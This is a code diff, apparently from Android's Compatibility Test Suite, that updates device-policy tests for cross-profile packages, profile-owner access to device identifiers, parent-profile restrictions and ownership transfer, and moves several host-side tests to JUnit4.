+ fail("SecurityException excepted.");
+ } catch (SecurityException ignored) {}
+ }
+
+ public void testGetCrossProfilePackages_notProfileOwner_throwsSecurityException() {
+ try {
+ mDevicePolicyManager.getCrossProfilePackages(NON_ADMIN_RECEIVER);
+ fail("SecurityException expected.");
+ } catch (SecurityException ignored) {}
+ }
+
+ public void testGetCrossProfilePackages_notSet_returnsEmpty() {
+ assertThat(mDevicePolicyManager.getCrossProfilePackages(ADMIN_RECEIVER_COMPONENT))
+ .isEmpty();
+ }
+
+ public void testGetCrossProfilePackages_whenSet_returnsEqual() {
+ mDevicePolicyManager.setCrossProfilePackages(
+ ADMIN_RECEIVER_COMPONENT, TEST_CROSS_PROFILE_PACKAGES);
+ assertThat(mDevicePolicyManager.getCrossProfilePackages(ADMIN_RECEIVER_COMPONENT))
+ .isEqualTo(TEST_CROSS_PROFILE_PACKAGES);
+ }
+
+ public void testGetCrossProfilePackages_whenSetTwice_returnsLatestNotConcatenated() {
+ final Set<String> packages1 = Collections.singleton("test.package.name.1");
+ final Set<String> packages2 = Collections.singleton("test.package.name.2");
+
+ mDevicePolicyManager.setCrossProfilePackages(ADMIN_RECEIVER_COMPONENT, packages1);
+ mDevicePolicyManager.setCrossProfilePackages(ADMIN_RECEIVER_COMPONENT, packages2);
+
+ assertThat(mDevicePolicyManager.getCrossProfilePackages(ADMIN_RECEIVER_COMPONENT))
+ .isEqualTo(packages2);
+ }
+
+ private static class NonAdminReceiver extends DeviceAdminReceiver {}
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DeviceIdentifiersTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DeviceIdentifiersTest.java
index 7c26fad..68c4d3c 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DeviceIdentifiersTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DeviceIdentifiersTest.java
@@ -15,97 +15,43 @@
*/
package com.android.cts.managedprofile;
+import static org.testng.Assert.assertThrows;
+
import android.content.Context;
+import android.content.pm.PackageManager;
import android.os.Build;
import android.telephony.TelephonyManager;
-import com.android.compatibility.common.util.ShellIdentityUtils;
-
/**
- * Verifies device identifier access for the profile owner.
+ * Verifies a profile owner on a personal device cannot access device identifiers.
*/
public class DeviceIdentifiersTest extends BaseManagedProfileTest {
- private static final String DEVICE_ID_WITH_PERMISSION_ERROR_MESSAGE =
- "An unexpected value was received by the profile owner with the READ_PHONE_STATE "
- + "permission when invoking %s";
- private static final String NO_SECURITY_EXCEPTION_ERROR_MESSAGE =
- "A profile owner that does not have the READ_PHONE_STATE permission must receive a "
- + "SecurityException when invoking %s";
-
- public void testProfileOwnerCanGetDeviceIdentifiersWithPermission() throws Exception {
- // The profile owner with the READ_PHONE_STATE permission should have access to all device
- // identifiers. However since the TelephonyManager methods can return null this method
- // verifies that the profile owner with the READ_PHONE_STATE permission receives the same
- // value that the shell identity receives with the READ_PRIVILEGED_PHONE_STATE permission.
+ public void testProfileOwnerOnPersonalDeviceCannotGetDeviceIdentifiers() throws Exception {
+ // The profile owner with the READ_PHONE_STATE permission should still receive a
+ // SecurityException when querying for device identifiers if it's not on an
+ // organization-owned device.
TelephonyManager telephonyManager = (TelephonyManager) mContext.getSystemService(
Context.TELEPHONY_SERVICE);
- try {
- assertEquals(String.format(DEVICE_ID_WITH_PERMISSION_ERROR_MESSAGE, "getDeviceId"),
- ShellIdentityUtils.invokeMethodWithShellPermissions(telephonyManager,
- (tm) -> tm.getDeviceId()), telephonyManager.getDeviceId());
- assertEquals(String.format(DEVICE_ID_WITH_PERMISSION_ERROR_MESSAGE, "getImei"),
- ShellIdentityUtils.invokeMethodWithShellPermissions(telephonyManager,
- (tm) -> tm.getImei()), telephonyManager.getImei());
- assertEquals(String.format(DEVICE_ID_WITH_PERMISSION_ERROR_MESSAGE, "getMeid"),
- ShellIdentityUtils.invokeMethodWithShellPermissions(telephonyManager,
- (tm) -> tm.getMeid()), telephonyManager.getMeid());
- assertEquals(String.format(DEVICE_ID_WITH_PERMISSION_ERROR_MESSAGE, "getSubscriberId"),
- ShellIdentityUtils.invokeMethodWithShellPermissions(telephonyManager,
- (tm) -> tm.getSubscriberId()), telephonyManager.getSubscriberId());
- assertEquals(
- String.format(DEVICE_ID_WITH_PERMISSION_ERROR_MESSAGE, "getSimSerialNumber"),
- ShellIdentityUtils.invokeMethodWithShellPermissions(telephonyManager,
- (tm) -> tm.getSimSerialNumber()),
- telephonyManager.getSimSerialNumber());
- assertEquals(String.format(DEVICE_ID_WITH_PERMISSION_ERROR_MESSAGE, "Build#getSerial"),
- ShellIdentityUtils.invokeStaticMethodWithShellPermissions(Build::getSerial),
- Build.getSerial());
- } catch (SecurityException e) {
- fail("The profile owner with the READ_PHONE_STATE permission must be able to access "
- + "the device IDs: " + e);
- }
- }
-
- public void testProfileOwnerCannotGetDeviceIdentifiersWithoutPermission() throws Exception {
- // The profile owner without the READ_PHONE_STATE permission should still receive a
- // SecurityException when querying for device identifiers.
- TelephonyManager telephonyManager = (TelephonyManager) mContext.getSystemService(
- Context.TELEPHONY_SERVICE);
- try {
- telephonyManager.getDeviceId();
- fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getDeviceId"));
- } catch (SecurityException expected) {
- }
-
- try {
- telephonyManager.getImei();
- fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getImei"));
- } catch (SecurityException expected) {
- }
-
- try {
- telephonyManager.getMeid();
- fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getMeid"));
- } catch (SecurityException expected) {
- }
-
- try {
- telephonyManager.getSubscriberId();
- fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getSubscriberId"));
- } catch (SecurityException expected) {
- }
-
- try {
- telephonyManager.getSimSerialNumber();
- fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "getSimSerialNumber"));
- } catch (SecurityException expected) {
- }
-
- try {
- Build.getSerial();
- fail(String.format(NO_SECURITY_EXCEPTION_ERROR_MESSAGE, "Build#getSerial"));
- } catch (SecurityException expected) {
+ // Allow the APIs to also return null if the telephony feature is not supported.
+ boolean hasTelephonyFeature =
+ mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+ if (hasTelephonyFeature) {
+ assertThrows(SecurityException.class, telephonyManager::getDeviceId);
+ assertThrows(SecurityException.class, telephonyManager::getImei);
+ assertThrows(SecurityException.class, telephonyManager::getMeid);
+ assertThrows(SecurityException.class, telephonyManager::getSubscriberId);
+ assertThrows(SecurityException.class, telephonyManager::getSimSerialNumber);
+ assertThrows(SecurityException.class, telephonyManager::getNai);
+ assertThrows(SecurityException.class, Build::getSerial);
+ } else {
+ assertNull(telephonyManager.getDeviceId());
+ assertNull(telephonyManager.getImei());
+ assertNull(telephonyManager.getMeid());
+ assertNull(telephonyManager.getSubscriberId());
+ assertNull(telephonyManager.getSimSerialNumber());
+ assertNull(telephonyManager.getNai());
+ assertNull(Build.getSerial());
}
}
}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
index c7f905a..a7b39b7 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
@@ -2,7 +2,6 @@
import static android.app.admin.DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_NUMERIC_COMPLEX;
-import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
import static com.google.common.truth.Truth.assertThat;
@@ -44,6 +43,17 @@
assertThat(actualPasswordHistoryLength).isEqualTo(passwordHistoryLength);
}
+ public void testGetPasswordComplexity_onParent() {
+ if (!mHasSecureLockScreen) {
+ return;
+ }
+
+ final int actualPasswordComplexity =
+ mParentDevicePolicyManager.getPasswordComplexity();
+ assertThat(actualPasswordComplexity).isEqualTo(
+ DevicePolicyManager.PASSWORD_COMPLEXITY_NONE);
+ }
+
public void testSetAndGetPasswordExpirationTimeout_onParent() {
if (!mHasSecureLockScreen) {
return;
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
index 17cea9b..a901d73 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
@@ -16,6 +16,8 @@
package com.android.cts.managedprofile;
+import static org.testng.Assert.assertThrows;
+
import android.app.admin.DevicePolicyManager;
import android.util.Log;
@@ -23,8 +25,8 @@
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
-import java.util.Collection;
import java.util.ArrayList;
+import java.util.Collection;
import java.util.List;
import java.util.Set;
import java.util.stream.Collectors;
@@ -64,6 +66,9 @@
.add("setPasswordExpirationTimeout")
.add("getPasswordExpiration")
.add("getPasswordMaximumLength")
+ .add("getPasswordComplexity")
+ .add("setCameraDisabled")
+ .add("getCameraDisabled")
.add("isActivePasswordSufficient")
.add("getCurrentFailedPasswordAttempts")
.add("getMaximumFailedPasswordsForWipe")
@@ -78,6 +83,10 @@
.add("getRequiredStrongAuthTimeout")
.add("setRequiredStrongAuthTimeout")
.add("isDeviceIdAttestationSupported")
+ .add("isUniqueDeviceAttestationSupported")
+ .add("wipeData")
+ .add("getAutoTime")
+ .add("setAutoTime")
.build();
private static final String LOG_TAG = "ParentProfileTest";
@@ -142,4 +151,18 @@
assertTrue(name + " is not found in the API list", allNames.contains(name));
}
}
+
+ public void testCannotWipeParentProfile() {
+ assertThrows(SecurityException.class,
+ () -> mParentDevicePolicyManager.wipeData(0));
+ }
+
+ public void testCannotCallAutoTimeMethodsOnParentProfile() {
+ assertThrows(SecurityException.class,
+ () -> mParentDevicePolicyManager.setAutoTime(ADMIN_RECEIVER_COMPONENT, true));
+
+ assertThrows(SecurityException.class,
+ () -> mParentDevicePolicyManager.getAutoTime(ADMIN_RECEIVER_COMPONENT));
+ }
+
}
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/WifiTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/WifiTest.java
deleted file mode 100644
index a4c1137..0000000
--- a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/WifiTest.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.profileowner;
-
-public class WifiTest extends BaseProfileOwnerTest {
- public void testCannotGetWifiMacAddress() {
- try {
- mDevicePolicyManager.getWifiMacAddress(getWho());
- fail("Profile owner shouldn't be able to get the MAC address");
- } catch (SecurityException expected) {
-
- }
- }
-}
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
index 30abf94..e498048 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
@@ -34,7 +34,10 @@
<activity android:name=".NonLauncherActivity">
android:exported="true">
</activity>
- <activity android:name=".SimpleActivityStartService" android:exported="true" />
+ <activity android:name=".SimpleActivityStartService"
+ android:turnScreenOn="true"
+ android:excludeFromRecents="true"
+ android:exported="true" />
<activity android:name=".SimpleActivityStartFgService" android:exported="true" />
<activity android:name=".SimpleActivityImmediateExit" >
<intent-filter>
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/OWNERS b/hostsidetests/devicepolicy/app/SimpleApp/OWNERS
new file mode 100644
index 0000000..d9a2060
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SimpleApp/OWNERS
@@ -0,0 +1,2 @@
+ctate@google.com
+hackbod@google.com
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityStartService.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityStartService.java
index cda6b6a..0813c24 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityStartService.java
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityStartService.java
@@ -17,8 +17,12 @@
package com.android.cts.launcherapps.simpleapp;
import android.app.Activity;
+import android.app.KeyguardManager;
+import android.app.KeyguardManager.KeyguardDismissCallback;
import android.content.Intent;
import android.os.Bundle;
+import android.os.Handler;
+import android.util.Log;
/**
* Test being able to start a service (with no background check restrictions) as soon as
@@ -31,18 +35,34 @@
"com.android.cts.launcherapps.simpleapp.SimpleActivityStartService.RESULT";
@Override
- public void onCreate(Bundle icicle) {
+ protected void onCreate(Bundle icicle) {
super.onCreate(icicle);
- attemptStartService();
- finish();
- }
+ getSystemService(KeyguardManager.class).requestDismissKeyguard(this,
+ new KeyguardDismissCallback() {
+ @Override
+ public void onDismissCancelled() {
+ Log.i(TAG, "onDismissCancelled");
+ }
- @Override
- public void onStart() {
- super.onStart();
+ @Override
+ public void onDismissError() {
+ Log.i(TAG, "onDismissError");
+ }
+
+ @Override
+ public void onDismissSucceeded() {
+ Log.i(TAG, "onDismissSucceeded");
+ }
+ });
+ // No matter if the dismiss was successful or not, continue the test after 2000ms
+ (new Handler()).postDelayed(()-> {
+ attemptStartService();
+ finish();
+ }, 2000);
}
void attemptStartService() {
+ Log.i(TAG, "attemptStartService");
Intent reply = new Intent(ACTION_SIMPLE_ACTIVITY_START_SERVICE_RESULT);
reply.setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
Intent serviceIntent = getIntent().getParcelableExtra("service");
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
index 65c952f..3652072 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
@@ -20,6 +20,7 @@
import static org.junit.Assert.assertEquals;
import static org.testng.Assert.assertThrows;
+import android.app.admin.DevicePolicyManager;
import android.app.admin.SystemUpdatePolicy;
import androidx.test.filters.SmallTest;
@@ -37,6 +38,9 @@
assertTrue(mDevicePolicyManager.getCameraDisabled(mIncomingComponentName));
assertEquals(Collections.singletonList("test.package"),
mDevicePolicyManager.getKeepUninstalledPackages(mIncomingComponentName));
+ assertEquals(
+ DevicePolicyManager.PASSWORD_QUALITY_NUMERIC,
+ mDevicePolicyManager.getPasswordQuality(mIncomingComponentName));
assertEquals(123, mDevicePolicyManager.getPasswordMinimumLength(mIncomingComponentName));
assertSystemPoliciesEqual(SystemUpdatePolicy.createPostponeInstallPolicy(),
mDevicePolicyManager.getSystemUpdatePolicy());
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferProfileOwnerIncomingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferProfileOwnerIncomingTest.java
index 4dc9a5b..92c63c0 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferProfileOwnerIncomingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferProfileOwnerIncomingTest.java
@@ -36,9 +36,13 @@
assertTrue(mDevicePolicyManager.getCameraDisabled(mIncomingComponentName));
assertTrue(mDevicePolicyManager.getCrossProfileCallerIdDisabled(mIncomingComponentName));
assertEquals(
+ DevicePolicyManager.PASSWORD_QUALITY_NUMERIC,
+ mDevicePolicyManager.getPasswordQuality(mIncomingComponentName));
+ assertEquals(
passwordLength,
mDevicePolicyManager.getPasswordMinimumLength(mIncomingComponentName));
+
DevicePolicyManager targetParentProfileInstance =
mDevicePolicyManager.getParentProfileInstance(mIncomingComponentName);
if (mHasSecureLockScreen) {
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferOutgoingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferOutgoingTest.java
index 6aedd1b..bead632 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferOutgoingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferOutgoingTest.java
@@ -146,16 +146,6 @@
}
@Test
- public void testClearDisallowAddManagedProfileRestriction() {
- setUserRestriction(UserManager.DISALLOW_ADD_MANAGED_PROFILE, false);
- }
-
- @Test
- public void testAddDisallowAddManagedProfileRestriction() {
- setUserRestriction(UserManager.DISALLOW_REMOVE_MANAGED_PROFILE, true);
- }
-
- @Test
public void testSetAffiliationId1() {
setAffiliationId("id.number.1");
}
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
index ce8736f..014bf4c 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
@@ -43,12 +43,13 @@
public void testTransferWithPoliciesOutgoing() throws Throwable {
int passwordLength = 123;
mDevicePolicyManager.setCameraDisabled(mOutgoingComponentName, true);
+ mDevicePolicyManager.setPasswordQuality(
+ mOutgoingComponentName, DevicePolicyManager.PASSWORD_QUALITY_NUMERIC);
mDevicePolicyManager.setPasswordMinimumLength(mOutgoingComponentName, passwordLength);
mDevicePolicyManager.setKeepUninstalledPackages(mOutgoingComponentName,
Collections.singletonList("test.package"));
mDevicePolicyManager.setSystemUpdatePolicy(mOutgoingComponentName,
SystemUpdatePolicy.createPostponeInstallPolicy());
-
PersistableBundle b = new PersistableBundle();
mDevicePolicyManager.transferOwnership(mOutgoingComponentName, INCOMING_COMPONENT_NAME, b);
}
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferProfileOwnerOutgoingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferProfileOwnerOutgoingTest.java
index 157e840..cebeaf1 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferProfileOwnerOutgoingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferProfileOwnerOutgoingTest.java
@@ -43,6 +43,8 @@
DevicePolicyManager parentDevicePolicyManager =
mDevicePolicyManager.getParentProfileInstance(mOutgoingComponentName);
mDevicePolicyManager.setCameraDisabled(mOutgoingComponentName, true);
+ mDevicePolicyManager.setPasswordQuality(
+ mOutgoingComponentName, DevicePolicyManager.PASSWORD_QUALITY_NUMERIC);
mDevicePolicyManager.setPasswordMinimumLength(mOutgoingComponentName, passwordLength);
mDevicePolicyManager.setCrossProfileCallerIdDisabled(mOutgoingComponentName, true);
parentDevicePolicyManager.setPasswordExpirationTimeout(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java
index a79ae11..24502bb 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java
@@ -16,13 +16,18 @@
package com.android.cts.devicepolicy;
-import com.android.tradefed.log.LogUtil.CLog;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
-import junit.framework.AssertionFailedError;
+import android.platform.test.annotations.LargeTest;
+
+import com.android.tradefed.log.LogUtil.CLog;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
+import org.junit.Test;
+
public class AccountCheckHostSideTest extends BaseDevicePolicyTest {
private static final String APK_NON_TEST_ONLY = "CtsAccountCheckNonTestOnlyOwnerApp.apk";
private static final String APK_TEST_ONLY = "CtsAccountCheckTestOnlyOwnerApp.apk";
@@ -44,7 +49,7 @@
"com.android.cts.devicepolicy.accountcheck.AccountCheckTest";
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasFeature) {
if (getDevice().getInstalledPackageNames().contains(PACKAGE_AUTH)) {
runCleanupTestOnlyOwnerAllowingFailure();
@@ -73,7 +78,7 @@
private void runCleanupTestOnlyOwnerAllowingFailure() throws Exception {
try {
runCleanupTestOnlyOwner();
- } catch (AssertionFailedError ignore) {
+ } catch (AssertionError ignore) {
}
}
@@ -84,7 +89,7 @@
private void runCleanupNonTestOnlyOwnerAllowingFailure() throws Exception {
try {
runCleanupNonTestOnlyOwner();
- } catch (AssertionFailedError ignore) {
+ } catch (AssertionError ignore) {
}
}
@@ -95,7 +100,7 @@
private void removeAllAccountsAllowingFailure() throws Exception {
try {
removeAllAccounts();
- } catch (AssertionFailedError ignore) {
+ } catch (AssertionError ignore) {
}
}
@@ -147,6 +152,8 @@
return Integer.parseInt(count) > 0;
}
+ @Test
+ @LargeTest
public void testAccountCheck() throws Exception {
if (!mHasFeature) {
return;
@@ -239,6 +246,7 @@
* Make sure even if the "test-only" flag changes when an app is updated, we still respect
* the original value.
*/
+ @Test
public void testInheritTestOnly() throws Exception {
if (!mHasFeature) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java
index 6e9ed7e..cd19f68 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java
@@ -19,6 +19,7 @@
import static com.android.cts.devicepolicy.DeviceAndProfileOwnerTest.DEVICE_ADMIN_APK;
import static com.android.cts.devicepolicy.DeviceAndProfileOwnerTest.DEVICE_ADMIN_PKG;
import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -26,10 +27,12 @@
import android.stats.devicepolicy.EventId;
+import org.junit.Test;
+
public class AdbProvisioningTests extends BaseDevicePolicyTest {
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
if (!mHasFeature) {
return;
}
@@ -38,7 +41,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (!mHasFeature) {
return;
}
@@ -46,8 +49,9 @@
getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
}
+ @Test
public void testAdbDeviceOwnerLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
assertMetricsLogged(getDevice(), () -> {
@@ -60,8 +64,9 @@
.build());
}
+ @Test
public void testAdbProfileOwnerLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
assertMetricsLogged(getDevice(), () -> {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java
index 8141b11..e37e5a1 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java
@@ -15,8 +15,12 @@
*/
package com.android.cts.devicepolicy;
+import static org.junit.Assert.assertTrue;
+
import com.android.tradefed.device.DeviceNotAvailableException;
+import org.junit.Test;
+
import javax.annotation.Nonnull;
import javax.annotation.Nullable;
@@ -48,7 +52,7 @@
}
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
mUserId = mPrimaryUserId;
@@ -60,7 +64,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasFeature) {
assertTrue("Failed to remove admin", removeAdmin(getAdminReceiverComponent(), mUserId));
getDevice().uninstallPackage(getDeviceAdminApkPackage());
@@ -83,6 +87,7 @@
/**
* Run all tests in DeviceAdminTest.java (as device admin).
*/
+ @Test
public void testRunDeviceAdminTest() throws Exception {
if (!mHasFeature) {
return;
@@ -90,36 +95,13 @@
runTests(getDeviceAdminApkPackage(), "DeviceAdminTest");
}
- public void testResetPassword_nycRestrictions() throws Exception {
+ @Test
+ public void testResetPasswordDeprecated() throws Exception {
if (!mHasFeature || !mHasSecureLockScreen) {
return;
}
- try {
- runTests(getDeviceAdminApkPackage(), "DeviceAdminPasswordTest",
- "testResetPassword_nycRestrictions");
- } finally {
- changeUserCredential(null, "1234", 0);
- }
- }
-
- private void clearPasswordForDeviceOwner() throws Exception {
- runTests(getDeviceAdminApkPackage(), "ClearPasswordTest");
- }
-
- /**
- * Run the tests in DeviceOwnerPasswordTest.java (as device owner).
- */
- public void testRunDeviceOwnerPasswordTest() throws Exception {
- if (!mHasFeature || !mHasSecureLockScreen) {
- return;
- }
-
- setDeviceOwner(getAdminReceiverComponent(), mUserId, /*expectFailure*/ false);
- try {
- runTests(getDeviceAdminApkPackage(), "DeviceOwnerPasswordTest");
- } finally {
- clearPasswordForDeviceOwner();
- }
+ runTests(getDeviceAdminApkPackage(), "DeviceAdminPasswordTest",
+ "testResetPasswordDeprecated");
}
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminServiceTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminServiceTest.java
index f0b8279..f76e262 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminServiceTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminServiceTest.java
@@ -15,8 +15,12 @@
*/
package com.android.cts.devicepolicy;
+import static org.junit.Assert.fail;
+
import com.android.tradefed.log.LogUtil.CLog;
+import org.junit.Test;
+
import java.util.concurrent.TimeUnit;
public abstract class BaseDeviceAdminServiceTest extends BaseDevicePolicyTest {
@@ -46,14 +50,14 @@
private boolean mMultiUserSupported;
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
mMultiUserSupported = getMaxNumberOfUsersSupported() > 1 && getDevice().getApiLevel() >= 21;
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (isTestEnabled()) {
removeAdmin(OWNER_COMPONENT, getUserId());
removeAdmin(OWNER_COMPONENT_B, getUserId());
@@ -99,6 +103,7 @@
protected abstract void setAsOwnerOrFail(String component) throws Exception;
+ @Test
public void testAll() throws Throwable {
if (!isTestEnabled()) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 3bf5758..a7f9639 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -16,10 +16,16 @@
package com.android.cts.devicepolicy;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
import com.android.ddmlib.testrunner.TestResult.TestStatus;
-import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.config.Option;
import com.android.tradefed.device.CollectingOutputReceiver;
import com.android.tradefed.device.DeviceNotAvailableException;
